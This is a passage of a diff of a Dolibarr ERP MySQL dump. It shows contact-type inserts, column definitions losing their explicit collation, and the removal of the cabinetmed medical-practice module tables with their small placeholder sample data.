prestation',1,NULL,0),(80,'agenda','internal','ACTOR','Responsable',1,NULL,0),(81,'agenda','internal','GUEST','Guest',1,NULL,0),(85,'agenda','external','ACTOR','Responsable',1,NULL,0),(86,'agenda','external','GUEST','Guest',1,NULL,0),(91,'commande','internal','SALESREPFOLL','Responsable suivi de la commande',1,NULL,0),(100,'commande','external','BILLING','Contact client facturation commande',1,NULL,0),(101,'commande','external','CUSTOMER','Contact client suivi commande',1,NULL,0),(102,'commande','external','SHIPPING','Contact client livraison commande',1,NULL,0),(110,'supplier_proposal','internal','SALESREPFOLL','Responsable suivi de la demande',1,NULL,0),(111,'supplier_proposal','external','BILLING','Contact fournisseur facturation',1,NULL,0),(112,'supplier_proposal','external','SHIPPING','Contact fournisseur livraison',1,NULL,0),(113,'supplier_proposal','external','SERVICE','Contact fournisseur prestation',1,NULL,0),(120,'fichinter','internal','INTERREPFOLL','Responsable suivi de l\'intervention',1,NULL,0),(121,'fichinter','internal','INTERVENING','Intervenant',1,NULL,0),(130,'fichinter','external','BILLING','Contact client facturation intervention',1,NULL,0),(131,'fichinter','external','CUSTOMER','Contact client suivi de l\'intervention',1,NULL,0),(140,'order_supplier','internal','SALESREPFOLL','Responsable suivi de la commande',1,NULL,0),(141,'order_supplier','internal','SHIPPING','Responsable réception de la commande',1,NULL,0),(142,'order_supplier','external','BILLING','Contact fournisseur facturation commande',1,NULL,0),(143,'order_supplier','external','CUSTOMER','Contact fournisseur suivi commande',1,NULL,0),(145,'order_supplier','external','SHIPPING','Contact fournisseur livraison commande',1,NULL,0),(150,'dolresource','internal','USERINCHARGE','In charge of resource',1,NULL,0),(151,'dolresource','external','THIRDINCHARGE','In charge of resource',1,NULL,0),(155,'ticket','internal','SUPPORTTEC','Utilisateur contact support',1,NULL,0),(156,'ticket','internal','CONTRIBUTOR','Intervenant',1,NULL,0),(157,'ticket','external','SUPPORTCLI','Contact client suivi incident',1,NULL,0),(158,'ticket','external','CONTRIBUTOR','Intervenant',1,NULL,0),(160,'project','internal','PROJECTLEADER','Chef de Projet',1,NULL,0),(161,'project','internal','PROJECTCONTRIBUTOR','Intervenant',1,NULL,0),(170,'project','external','PROJECTLEADER','Chef de Projet',1,NULL,0),(171,'project','external','PROJECTCONTRIBUTOR','Intervenant',1,NULL,0),(180,'project_task','internal','TASKEXECUTIVE','Responsable',1,NULL,0),(181,'project_task','internal','TASKCONTRIBUTOR','Intervenant',1,NULL,0),(190,'project_task','external','TASKEXECUTIVE','Responsable',1,NULL,0),(191,'project_task','external','TASKCONTRIBUTOR','Intervenant',1,NULL,0),(200,'societe','external','GENERALREF','Généraliste (référent)',0,'cabinetmed',0),(201,'societe','external','GENERALISTE','Généraliste',0,'cabinetmed',0),(210,'societe','external','SPECCHIROR','Chirurgien ortho',0,'cabinetmed',0),(211,'societe','external','SPECCHIROT','Chirurgien autre',0,'cabinetmed',0),(212,'conferenceorbooth','external','RESPONSIBLE','Booth responsible',1,NULL,0),(220,'societe','external','SPECDERMA','Dermatologue',0,'cabinetmed',0),(225,'societe','external','SPECENDOC','Endocrinologue',0,'cabinetmed',0),(230,'societe','external','SPECGYNECO','Gynécologue',0,'cabinetmed',0),(240,'societe','external','SPECGASTRO','Gastroantérologue',0,'cabinetmed',0),(245,'societe','external','SPECINTERNE','Interniste',0,'cabinetmed',0),(250,'societe','external','SPECCARDIO','Cardiologue',0,'cabinetmed',0),(260,'societe','external','SPECNEPHRO','Néphrologue',0,'cabinetmed',0),(263,'societe','external','SPECPNEUMO','Pneumologue',0,'cabinetmed',0),(265,'societe','external','SPECNEURO','Neurologue',0,'cabinetmed',0),(270,'societe','external','SPECRHUMATO','Rhumatologue',0,'cabinetmed',0),(280,'societe','external','KINE','Kinésithérapeute',0,'cabinetmed',0); +INSERT INTO `llx_c_type_contact` VALUES (10,'contrat','internal','SALESREPSIGN','Commercial signataire du contrat',1,NULL,0),(11,'contrat','internal','SALESREPFOLL','Commercial suivi du contrat',1,NULL,0),(20,'contrat','external','BILLING','Contact client facturation contrat',1,NULL,0),(21,'contrat','external','CUSTOMER','Contact client suivi contrat',1,NULL,0),(22,'contrat','external','SALESREPSIGN','Contact client signataire contrat',1,NULL,0),(31,'propal','internal','SALESREPFOLL','Commercial à l\'origine de la propale',1,NULL,0),(40,'propal','external','BILLING','Contact client facturation propale',1,NULL,0),(41,'propal','external','CUSTOMER','Contact client suivi propale',1,NULL,0),(42,'propal','external','SHIPPING','Customer contact for delivery',1,NULL,0),(50,'facture','internal','SALESREPFOLL','Responsable suivi du paiement',1,NULL,0),(60,'facture','external','BILLING','Contact client facturation',1,NULL,0),(61,'facture','external','SHIPPING','Contact client livraison',1,NULL,0),(62,'facture','external','SERVICE','Contact client prestation',1,NULL,0),(70,'invoice_supplier','internal','SALESREPFOLL','Responsable suivi du paiement',1,NULL,0),(71,'invoice_supplier','external','BILLING','Contact fournisseur facturation',1,NULL,0),(72,'invoice_supplier','external','SHIPPING','Contact fournisseur livraison',1,NULL,0),(73,'invoice_supplier','external','SERVICE','Contact fournisseur prestation',1,NULL,0),(80,'agenda','internal','ACTOR','Responsable',1,NULL,0),(81,'agenda','internal','GUEST','Guest',1,NULL,0),(85,'agenda','external','ACTOR','Responsable',1,NULL,0),(86,'agenda','external','GUEST','Guest',1,NULL,0),(91,'commande','internal','SALESREPFOLL','Responsable suivi de la commande',1,NULL,0),(100,'commande','external','BILLING','Contact client facturation commande',1,NULL,0),(101,'commande','external','CUSTOMER','Contact client suivi commande',1,NULL,0),(102,'commande','external','SHIPPING','Contact client livraison commande',1,NULL,0),(110,'supplier_proposal','internal','SALESREPFOLL','Responsable suivi de la demande',1,NULL,0),(111,'supplier_proposal','external','BILLING','Contact fournisseur facturation',1,NULL,0),(112,'supplier_proposal','external','SHIPPING','Contact fournisseur livraison',1,NULL,0),(113,'supplier_proposal','external','SERVICE','Contact fournisseur prestation',1,NULL,0),(120,'fichinter','internal','INTERREPFOLL','Responsable suivi de l\'intervention',1,NULL,0),(121,'fichinter','internal','INTERVENING','Intervenant',1,NULL,0),(130,'fichinter','external','BILLING','Contact client facturation intervention',1,NULL,0),(131,'fichinter','external','CUSTOMER','Contact client suivi de l\'intervention',1,NULL,0),(140,'order_supplier','internal','SALESREPFOLL','Responsable suivi de la commande',1,NULL,0),(141,'order_supplier','internal','SHIPPING','Responsable réception de la commande',1,NULL,0),(142,'order_supplier','external','BILLING','Contact fournisseur facturation commande',1,NULL,0),(143,'order_supplier','external','CUSTOMER','Contact fournisseur suivi commande',1,NULL,0),(145,'order_supplier','external','SHIPPING','Contact fournisseur livraison commande',1,NULL,0),(150,'dolresource','internal','USERINCHARGE','In charge of resource',1,NULL,0),(151,'dolresource','external','THIRDINCHARGE','In charge of resource',1,NULL,0),(155,'ticket','internal','SUPPORTTEC','Utilisateur contact support',1,NULL,0),(156,'ticket','internal','CONTRIBUTOR','Intervenant',1,NULL,0),(157,'ticket','external','SUPPORTCLI','Contact client suivi incident',1,NULL,0),(158,'ticket','external','CONTRIBUTOR','Intervenant',1,NULL,0),(160,'project','internal','PROJECTLEADER','Chef de Projet',1,NULL,0),(161,'project','internal','PROJECTCONTRIBUTOR','Intervenant',1,NULL,0),(170,'project','external','PROJECTLEADER','Chef de Projet',1,NULL,0),(171,'project','external','PROJECTCONTRIBUTOR','Intervenant',1,NULL,0),(180,'project_task','internal','TASKEXECUTIVE','Responsable',1,NULL,0),(181,'project_task','internal','TASKCONTRIBUTOR','Intervenant',1,NULL,0),(190,'project_task','external','TASKEXECUTIVE','Responsable',1,NULL,0),(191,'project_task','external','TASKCONTRIBUTOR','Intervenant',1,NULL,0),(200,'societe','external','GENERALREF','Généraliste (référent)',0,'cabinetmed',0),(201,'societe','external','GENERALISTE','Généraliste',0,'cabinetmed',0),(210,'societe','external','SPECCHIROR','Chirurgien ortho',0,'cabinetmed',0),(211,'societe','external','SPECCHIROT','Chirurgien autre',0,'cabinetmed',0),(212,'conferenceorbooth','external','RESPONSIBLE','Booth responsible',1,NULL,0),(220,'societe','external','SPECDERMA','Dermatologue',0,'cabinetmed',0),(225,'societe','external','SPECENDOC','Endocrinologue',0,'cabinetmed',0),(230,'societe','external','SPECGYNECO','Gynécologue',0,'cabinetmed',0),(240,'societe','external','SPECGASTRO','Gastroantérologue',0,'cabinetmed',0),(245,'societe','external','SPECINTERNE','Interniste',0,'cabinetmed',0),(250,'societe','external','SPECCARDIO','Cardiologue',0,'cabinetmed',0),(260,'societe','external','SPECNEPHRO','Néphrologue',0,'cabinetmed',0),(263,'societe','external','SPECPNEUMO','Pneumologue',0,'cabinetmed',0),(265,'societe','external','SPECNEURO','Neurologue',0,'cabinetmed',0),(270,'societe','external','SPECRHUMATO','Rhumatologue',0,'cabinetmed',0),(280,'societe','external','KINE','Kinésithérapeute',0,'cabinetmed',0),(448020,'contrat','external','COMPUTING','Contact privilégié informatique',1,NULL,0),(448021,'contrat','external','MAINTENANCE','Contact maintenance application',1,NULL,0),(448023,'contrat','internal','COMPUTINGREFERENT','Référent informatique',1,'gestionparc',0),(448024,'contrat','internal','COMPUTINGREFERENT2','Référent informatique en second',1,'gestionparc',0); /*!40000 ALTER TABLE `llx_c_type_contact` ENABLE KEYS */; UNLOCK TABLES; @@ -3329,11 +2957,11 @@ DROP TABLE IF EXISTS `llx_c_type_container`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_type_container` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(32) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_type_container_id` (`code`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3358,11 +2986,11 @@ DROP TABLE IF EXISTS `llx_c_type_fees`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_type_fees` ( `id` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) NOT NULL, + `label` varchar(128) DEFAULT NULL, + `accountancy_code` varchar(32) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, `type` int(11) DEFAULT 0, PRIMARY KEY (`id`), @@ -3389,8 +3017,8 @@ DROP TABLE IF EXISTS `llx_c_type_resource`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_type_resource` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(32) NOT NULL, + `label` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_type_resource_id` (`label`,`code`) @@ -3416,11 +3044,11 @@ DROP TABLE IF EXISTS `llx_c_typent`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_typent` ( `id` int(11) NOT NULL, - `code` varchar(12) COLLATE utf8mb3_unicode_ci NOT NULL, - `libelle` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(12) NOT NULL, + `libelle` varchar(128) DEFAULT NULL, `fk_country` int(11) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `module` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `module` varchar(32) DEFAULT NULL, `position` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`id`), UNIQUE KEY `uk_c_typent` (`code`) @@ -3446,13 +3074,13 @@ DROP TABLE IF EXISTS `llx_c_units`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_units` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(3) DEFAULT NULL, `sortorder` smallint(6) DEFAULT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `short_label` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(128) DEFAULT NULL, + `short_label` varchar(5) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, `scale` int(11) DEFAULT NULL, - `unit_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `unit_type` varchar(10) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_units_code` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=49 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3477,11 +3105,11 @@ DROP TABLE IF EXISTS `llx_c_ziptown`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_ziptown` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(5) DEFAULT NULL, `fk_county` int(11) DEFAULT NULL, `fk_pays` int(11) NOT NULL DEFAULT 0, - `zip` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL, - `town` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `zip` varchar(10) NOT NULL, + `town` varchar(255) NOT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_ziptown_fk_pays` (`zip`,`town`,`fk_pays`), @@ -3505,419 +3133,6 @@ INSERT INTO `llx_c_ziptown` VALUES (50270,NULL,NULL,6,'1955','LES VÉRINES (CHAM /*!40000 ALTER TABLE `llx_c_ziptown` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_cabinetmed_c_banques` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_c_banques`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_c_banques` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `active` smallint(6) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_c_banques` --- - -LOCK TABLES `llx_cabinetmed_c_banques` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_c_banques` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_cabinetmed_c_banques` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_c_examconclusion` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_c_examconclusion`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_c_examconclusion` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `position` int(11) DEFAULT 10, - `active` smallint(6) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_c_examconclusion` --- - -LOCK TABLES `llx_cabinetmed_c_examconclusion` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_c_examconclusion` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_c_examconclusion` VALUES (1,'AUTRE','Autre',1,1); -/*!40000 ALTER TABLE `llx_cabinetmed_c_examconclusion` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_cons` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_cons`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_cons` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_soc` int(11) DEFAULT NULL, - `datecons` date NOT NULL, - `typepriseencharge` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `motifconsprinc` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `diaglesprinc` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `motifconssec` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `diaglessec` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `hdm` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `examenclinique` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `examenprescrit` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `traitementprescrit` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `comment` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `typevisit` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `infiltration` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `codageccam` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `montant_cheque` double(24,8) DEFAULT NULL, - `montant_espece` double(24,8) DEFAULT NULL, - `montant_carte` double(24,8) DEFAULT NULL, - `montant_tiers` double(24,8) DEFAULT NULL, - `banque` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `date_c` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user` int(11) DEFAULT NULL, - `fk_user_creation` int(11) DEFAULT NULL, - `fk_user_m` int(11) DEFAULT NULL, - `fk_agenda` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_cabinetmed_cons_fk_soc` (`fk_soc`), - KEY `idx_cabinetmed_cons_datecons` (`datecons`), - CONSTRAINT `fk_cabinetmed_cons_fk_soc` FOREIGN KEY (`fk_soc`) REFERENCES `llx_societe` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_cons` --- - -LOCK TABLES `llx_cabinetmed_cons` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_cons` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_cons` VALUES (1,12,'2019-12-05','','Cervicalgies Inflammatoires','Canal Carpien','','','None','Very hot','','','','CS','','',10.00000000,NULL,NULL,NULL,'','2019-12-05 14:46:44','2019-12-05 10:46:44',12,12,NULL,NULL),(2,29,'2020-01-06','','Cervicalgies Inflammatoires','','','','aaaaa','','ArthroScanner Epaule','','cccc','CS','','',NULL,NULL,10.00000000,NULL,'','2020-01-06 20:52:28','2020-01-06 16:52:28',12,12,NULL,NULL); -/*!40000 ALTER TABLE `llx_cabinetmed_cons` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_cons_extrafields` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_cons_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_cons_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `aaa` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_cabinetmed_cons_extrafields` (`fk_object`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_cons_extrafields` --- - -LOCK TABLES `llx_cabinetmed_cons_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_cons_extrafields` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_cons_extrafields` VALUES (1,'2020-01-06 17:37:28',2,NULL,'bbb'); -/*!40000 ALTER TABLE `llx_cabinetmed_cons_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_diaglec` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_diaglec`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_diaglec` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `active` smallint(6) NOT NULL DEFAULT 1, - `icd` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `position` int(11) DEFAULT 10, - `lang` varchar(12) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_diaglec` --- - -LOCK TABLES `llx_cabinetmed_diaglec` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_diaglec` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_diaglec` VALUES (1,'AUTRE','Autre',1,NULL,1,NULL),(2,'LOMBL5D','Lombosciatique L5 droite',1,NULL,10,NULL),(3,'LOMBL5G','Lombosciatique L5 gauche',1,NULL,10,NULL),(4,'LOMBS1D','Lombosciatique S1 droite',1,NULL,10,NULL),(5,'LOMBS1G','Lombosciatique S1 gauche',1,NULL,10,NULL),(6,'NCB','Névralgie cervico-brachiale',1,NULL,10,NULL),(7,'PR','Polyarthrite rhumatoide',1,NULL,10,NULL),(8,'SA','Spondylarthrite ankylosante',1,NULL,10,NULL),(9,'GFTI','Gonarthrose fémoro-tibaile interne',1,NULL,10,NULL),(10,'GFTE','Gonarthrose fémoro-tibiale externe',1,NULL,10,NULL),(11,'COX','Coxarthrose',1,NULL,10,NULL),(12,'CC','Canal Carpien',1,NULL,10,NULL),(16,'CLER','Canal Lombaire Etroit et/ou Rétréci',1,NULL,10,NULL),(22,'RH_PSO','Rhumatisme Psoriasique',1,NULL,10,NULL),(23,'LEAD','Lupus',1,NULL,10,NULL),(24,'LBDISC','Lombalgie Discale',1,NULL,10,NULL),(25,'LBRADD','Lomboradiculalgie Discale',1,NULL,10,NULL),(26,'LBRADND','Lomboradiculalgie Non Discale',1,NULL,10,NULL),(27,'CH_ROT','Chondropathie Rotulienne',1,NULL,10,NULL),(28,'AFP','Arthrose FémoroPatellaire',1,NULL,10,NULL),(29,'PPR','Pseudo Polyarthrite Rhizomélique',1,NULL,10,NULL),(30,'SHARP','Maladie de Sharp',1,NULL,10,NULL),(31,'SAPHO','SAPHO',1,NULL,10,NULL),(32,'OMARTHC','Omarthrose Centrée',1,NULL,10,NULL),(33,'RH_CCA','Rhumatisme Chondro Calcinosique',1,NULL,10,NULL),(34,'GOUTTE','Arthrite Goutteuse',1,NULL,10,NULL),(35,'CCA','Arthrite Chondro Calcinosique',1,NULL,10,NULL),(36,'ARTH_MCR','Arthrite Microcristalline',1,NULL,10,NULL),(37,'CSA','Conflit Sous Acromial',1,NULL,10,NULL),(38,'TDCALCE','Tendinopathie Calcifiante d\'Epaule',1,NULL,10,NULL),(39,'TDCALCH','Tendinopathie Calcifiante de Hanche',1,NULL,10,NULL),(40,'TBT','TendinoBursite Trochantérienne',1,NULL,10,NULL),(41,'OMARTHE','Omarthrose Excentrée',1,NULL,10,NULL); -/*!40000 ALTER TABLE `llx_cabinetmed_diaglec` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_examaut` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_examaut`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_examaut` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_soc` int(11) DEFAULT NULL, - `fk_user` int(11) DEFAULT NULL, - `dateexam` date NOT NULL, - `examprinc` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `examsec` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `concprinc` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `concsec` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_examaut` --- - -LOCK TABLES `llx_cabinetmed_examaut` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_examaut` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_examaut` VALUES (1,12,12,'2019-12-05','Scanner Cervical','','Autre','A+ BK++','2019-12-05 10:48:37'); -/*!40000 ALTER TABLE `llx_cabinetmed_examaut` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_exambio` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_exambio`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_exambio` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_soc` int(11) DEFAULT NULL, - `fk_user` int(11) DEFAULT NULL, - `dateexam` date NOT NULL, - `resultat` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `conclusion` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `comment` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `suivipr_ad` int(11) DEFAULT NULL, - `suivipr_ag` int(11) DEFAULT NULL, - `suivipr_vs` int(11) DEFAULT NULL, - `suivipr_eva` int(11) DEFAULT NULL, - `suivipr_das28` double DEFAULT NULL, - `suivipr_err` int(11) DEFAULT NULL, - `suivisa_fat` int(11) DEFAULT NULL, - `suivisa_dax` int(11) DEFAULT NULL, - `suivisa_dpe` int(11) DEFAULT NULL, - `suivisa_dpa` int(11) DEFAULT NULL, - `suivisa_rno` int(11) DEFAULT NULL, - `suivisa_dma` int(11) DEFAULT NULL, - `suivisa_basdai` double DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_exambio` --- - -LOCK TABLES `llx_cabinetmed_exambio` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_exambio` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_cabinetmed_exambio` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_cabinetmed_examenprescrit` --- - -DROP TABLE IF EXISTS `llx_cabinetmed_examenprescrit`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_cabinetmed_examenprescrit` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `biorad` varchar(8) COLLATE utf8mb3_unicode_ci NOT NULL, - `position` int(11) DEFAULT 10, - `active` smallint(6) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=43 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_cabinetmed_examenprescrit` --- - -LOCK TABLES `llx_cabinetmed_examenprescrit` WRITE; -/*!40000 ALTER TABLE `llx_cabinetmed_examenprescrit` DISABLE KEYS */; -INSERT INTO `llx_cabinetmed_examenprescrit` VALUES (1,'AUTRE','Autre','OTHER',1,1),(2,'IRMLOMB','IRM lombaire','RADIO',10,1),(5,'TDMLOMB','TDM lombaires','RADIO',10,1),(6,'RX_BRL','Radios Bassin-Rachis Lombaire','RADIO',10,1),(7,'RX_RL','Radios Rachis Lombaire','RADIO',10,1),(8,'RX_BASS','Radios Bassin','RADIO',10,1),(9,'RX_BH','Radios Bassin et Hanches','RADIO',10,1),(10,'RX_GEN','Radios Genoux','RADIO',10,1),(11,'RX_CHEV','Radios 